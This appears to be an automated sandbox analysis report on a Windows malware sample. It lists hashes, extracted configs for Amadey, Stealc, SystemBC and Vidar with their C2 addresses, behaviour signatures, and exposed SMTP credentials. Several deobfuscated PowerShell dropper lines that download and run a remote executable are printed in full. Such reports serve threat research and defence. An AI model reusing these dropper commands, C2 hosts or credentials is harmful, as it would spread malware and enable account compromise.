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General

  • Target

    bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe

  • Size

    938KB

  • Sample

    250306-fplvhsyydv

  • MD5

    78796a8755ee5cc1c74279bbba9dadd9

  • SHA1

    21dd52e48d9e8b0cd2ee2702e2c1353f61ae32f6

  • SHA256

    bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e

  • SHA512

    53ff56fbd963d5288829e87158373ab57862d7cc8b721c0e2cd5672c3042824e85d456f648180b731059c400d1e6e02b3cd5c8c0a9952c33e9f9034e95ba6ec0

  • SSDEEP

    24576:cqDEvCTbMWu7rQYlBQcBiT6rprG8a0qu:cTvC/MTQYxsWR7a0q

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "YEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "2OJOTJENJFPLAHGBTSIMWOJXV90JJYV9.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.homelifebc.com
  • Port:
    587
  • Username:
    cbagg@homelifebc.com
  • Password:
    password

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

stealc

Botnet

traff1

Attributes
  • url_path

    /gtthfbsb2h.php

Extracted

Family

systembc

C2

towerbingobongoboom.com

62.60.226.86

Attributes
  • dns

    5.132.191.104

Extracted

Family

vidar

Botnet

ir7am

C2

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "FPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Targets

    • Target

      bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe

    • Size

      938KB

    • MD5

      78796a8755ee5cc1c74279bbba9dadd9

    • SHA1

      21dd52e48d9e8b0cd2ee2702e2c1353f61ae32f6

    • SHA256

      bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e

    • SHA512

      53ff56fbd963d5288829e87158373ab57862d7cc8b721c0e2cd5672c3042824e85d456f648180b731059c400d1e6e02b3cd5c8c0a9952c33e9f9034e95ba6ec0

    • SSDEEP

      24576:cqDEvCTbMWu7rQYlBQcBiT6rprG8a0qu:cTvC/MTQYxsWR7a0q

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detect Vidar Stealer

    • Detects Healer an antivirus disabler dropper

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • SystemBC

      SystemBC is a proxy and remote administration tool first seen in 2019.

    • Systembc family

    • Vidar

      Vidar is an infostealer based on Arkei stealer.

    • Vidar family

    • Xmrig family

    • xmrig

      XMRig is a high performance, open source, cross platform CPU/GPU miner.

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • XMRig Miner payload

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Powershell Invoke Web Request.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Downloads MZ/PE file

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • .NET Reactor proctector

      Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses cryptocurrency files/wallets, possible credential harvesting

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Legitimate hosting services abused for malware hosting/C2

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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